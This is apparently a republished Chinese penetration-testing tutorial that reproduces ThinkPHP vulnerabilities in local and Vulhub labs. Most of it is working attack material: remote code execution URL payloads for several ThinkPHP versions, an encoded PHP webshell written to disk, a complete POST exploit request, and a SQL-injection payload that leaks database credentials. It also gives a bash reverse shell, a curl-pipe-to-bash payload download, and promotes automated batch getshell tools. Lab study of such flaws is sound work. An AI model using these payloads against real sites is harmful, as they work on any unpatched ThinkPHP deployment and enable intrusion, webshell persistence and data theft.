渗透测试 | ThinkPHP渗透 – 作者:每天都要努力哇

前言

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为 ThinkPHP

它遵循 Apache2开源协议发布,从 Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了 Struts的思想和 TagLib(标签库)、RoR的ORM映射和 ActiveRecord模式。

ThinkPHP可在 Windows和 Linux等操作系统运行,支持 MySql,Sqlite和 PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

同时ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架

本地安装

官网:http://www.thinkphp.cn/down.html

经典的版本就是这四大类

image-20210516101707716

安装vc9_x86(必装)

image-20210516102503058

安装phpstudy-2016

image-20210516102546033

把Thinkphp的包搞到WWW目录下

image-20210516102800809

这里要注意一下

默认的Thinkphp框架下是有robots.txt

image-20210516102909994

存在信息泄露的

写入的shell或者一句话 也是在这个目录下

C:\phpStudy\WWW\a001\public

然后存放日志的目录 是这个

C:\phpStudy\WWW\a001\thinkphp\library\think\log

image-20210516103104540

要对外访问的嘛 所以要配置域名

这里要注意 目录要选到public目录下 这样才能识别到这个目录下的router.php

image-20210516103602494

image-20210516104047481

image-20210516103643043

这里也可以不用IP

如果你没有用IP的话 就要去改一下hosts文件

然后新增 保存一下

image-20210516103759492

然后远程访问一下

image-20210516103844729

本地漏洞复现

Poc1-phpinfo

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

image-20210516104439807

Poc2-写入一句话

<?php eval($_POST['a']);?>

进行URL编码

image-20210516104729763

最后的payload

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e

执行一下

image-20210516104921607

这样子就是执行成功的

去底层看一下 这个shell.php是被写到哪个目录下了

image-20210516105006426

是成功写入的

蚁剑连接一下

image-20210516105219445

image-20210516105231918

可以看到是成功的

Vulhub-Thinkphp复现

Thinkphp 2.x 任意代码执行漏洞

漏洞原理

ThinkPHP2.x版本中,使用preg_replace/e模式匹配路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

ThinkPHP3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞

影响版本

ThinkPHP 2.x

漏洞原理详解

由于是preg_replace这个函数引起的漏洞,所以先来看看preg_replace这个函数

这个函数是个替换函数,而且支持正则,使用方式如下

preg_replace('正则规则','替换字符','目标字符')

这个函数的3个参数,结合起来的意思是:

如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞

e -->配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行
/e-->可执行模式,此为PHP专有参数,例如 preg_replace函数。

本地测试直接使用下面这行代码测试即可

沙箱地址:http://sandbox.onlinephpfunctions.com/

漏洞复现

cd vulhub-master/thinkphp/2-rcesudo docker-compose up -d

image-20210516112631321

访问一下

image-20210516112904397

在线沙箱 进行尝试

沙箱地址: http://sandbox.onlinephpfunctions.com/

<?php@preg_replace('/test/e','print_r("a001");','just test');

7.0以下的版本 存在/e 就可以任意代码执行

image-20210516113527294

image-20210516113608816

代码审计-docker底层分析

image-20210516113821945

找寻一下这个函数

find . -name '*.php' | xargs grep -n 'preg_replace'

复制出来 搞到本地

image-20210516113959977

存在/e修饰符的脚本

./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(\w+)}/e',"\\1()",$rule);./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));

漏洞的关键就是这里了 代码位置就是在这里了

image-20210516114455185

漏洞验证

/index.php?s=/index/index/name/${@phpinfo()}
/index.php?s=/index/index/name/$%7B@phpinfo()%7D

image-20210516114716456

Poc

/index.php?s=a/b/c/${@print(eval($_POST[1]))}

进行抓包

改成POST的包

image-20210516115146602

1=system('id');

执行成功

image-20210516115253775

反弹shell

bash -i >& /dev/tcp/192.168.175.130/8888 0>&1

image-20210516211216935

image-20210516211239687

nc开启监听

nc -lvvp 8888

image-20210516211322279

python开启http服务

python -m SimpleHTTPServer 9999

image-20210516211311881

进行执行

1=system("curl 192.168.175.130:9999/shell.sh | bash");

image-20210516211508627

nc拿到shell

image-20210516211559258

蚁剑连接的话

http://192.168.175.209:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

image-20210516211831135

image-20210516211848214

Thinkphp5-5.0.22/5.1.29远程代码执行漏洞

漏洞原理

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。

影响版本:

5.0.22/5.1.29

漏洞复现

cd vulhub-master/thinkphp/5-rcesudo docker-compose up -d

image-20210516212604870

成功访问

image-20210516212632637

漏洞验证

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

image-20210516212649252

任意代码执行

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20210516212706895

image-20210516212729751

写入webshell

<?php eval($_POST['a']);?>URL编码%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e

image-20210516212512972

最后的payload–>shell.php

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e

写入成功

image-20210516212757138

去docker底层看一下

image-20210516213253882

蚁剑连接

image-20210516212911974

Thinkphp5.0.23远程代码执行漏洞

漏洞原理

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取 method的方法中没有正确处理方法名,这使攻击者可以调用 Request类的任何方法,攻击者可以调用 Request类任意方法并构造利用链,从而导致远程代码执行漏洞

影响版本

Thinkphp5.0.0~5.0.23

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

cd vulhub-master/thinkphp/5.0.23-rcesudo docker-compose up -d

image-20210517092443132

访问一下靶机

image-20210517092510037

漏洞验证

进行抓包

进行转换

image-20210517092901244

image-20210517092957870

这里给出完整的数据包

POST /index.php?s=captcha HTTP/1.1Host: 192.168.175.209:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

反弹shell

把反弹shell 写到shell.sh中

image-20210517093330723

python开启http服务

python -m SimpleHTTPServer 9999

nc开启监听

nc -vlp 8888

进行执行

curl 192.168.175.130:9999/shell.sh | bash

image-20210517093509746

成功反弹shell

image-20210517093530918

Thinkphp敏感信息泄露

漏洞原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而 thinkphp5默认开启debug模式,在漏洞环境下构造错误旳SQL语法会泄漏数据库账户和密码。

影响版本

ThinkPhP <5.1.23

源码分析

<?phpnamespace app\index\controller;use app\index\model\User;class Index{ public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select();}}

由上述代码可知,这里用助手函数input定义了参数ids的类型是数组

protected function parseMhere ($where, $options){ $whereStr = $this -> buildWhere($where, $options); if (! empty($options['soft_delete '])) { list ($field, $condition) = $options['soft_delete']; $binds = $this -> query ->getF ieldsBind($optlons); $whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' '; $whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds); } return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;}

接着去找where('id','in',$ids)定义的内容,找到了最核心的方法 buildWhere和 parseWhereltem
接着找到定义'in'的位置

<?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {//处理带非单词字符的字段名 $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN ັᧃ if ($value instanceof \Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); } else { $value = is_array($value) ? $value : explode(',', $value); if (array_key_exists($field, $binds)) { $bind = []; $array = []; foreach ($value as $k => $v) { if ($this->query->isBind($bindName . '_in_' . $k)) { $bindKey = $bindName . '_in_' . uniqid() . '_' . $k; } else { $bindKey = $bindName . '_in_' . $k; } $bind[$bindKey] = [$v, $bindType]; $array[] = ':' . $bindKey; } $this->query->bind($bind); $zone = implode(',', $array); } else { $zone = implode(',', $this->parseValue($value, $field)); } $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')'; }

这段代码当引入了in或者 not in的时候遍历value的key和 value。

而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。

漏洞复现

这边在kali上用P牛的靶场

乌班图那边有点问题

kali安装docker

sudo apt install docker-compose
sudo systemctl start docker #启动dockercd /vulhub-master/thinkphp/in-sqlinjectionsudo docker-compose up -d

image-20210517102044583

image-20210517102330781

进行访问

漏洞验证

/index.php?ids[]=1&ids[]=2

image-20210517104950942

Poc

/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

image-20210517105047474

枚举到数据库的账号和密码

Thinkphp自动化武器

Thinkphp综合利用工具

image-20210517103651341

ThinkPHPBatchPoc群扫

执行看一下

image-20210517104229137

可以去底层看一下

我们可以手动添加Poc

image-20210517104321007

它可以自动补充http头

image-20210517104345163

执行

-u 单个URL-f 执行文件

TPscan

image-20210517112239340

AttackWebFrameworkTools

项目地址:GitHub – Anonymous-ghost/AttackWebFrameworkTools: 本软件首先集成危害性较大前台rce(无需登录,或者登录绕过执行rce)。反序列化(利用链简单)。上传getshell。sql注入等高危漏洞直接就可以拿权限出数据。其次对一些构造复杂exp漏洞进行检测。傻瓜式导入url即可实现批量测试,能一键getshell检测绝不sql注入或者不是只检测。其中thinkphp 集成所有rce Exp Struts2漏洞集成了shack2 和k8 漏洞利用工具所有Exp并对他们的exp进行优化和修复此工具的所集成漏洞全部是基于平时实战中所得到的经验从而写入到工具里。例如:通达oA一键getshell实战测试 struts2一键getshell 等等

需要先安装4.5的.NET Framework

image-20210517110049535

然后要新建两个文本文档

image-20210517112647614

Thinkphp攻击武器

双击打开就可以了

image-20210517113137966

image-20210517113117606

来源:freebuf.com 2021-07-17 21:50:47 by: 每天都要努力哇

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论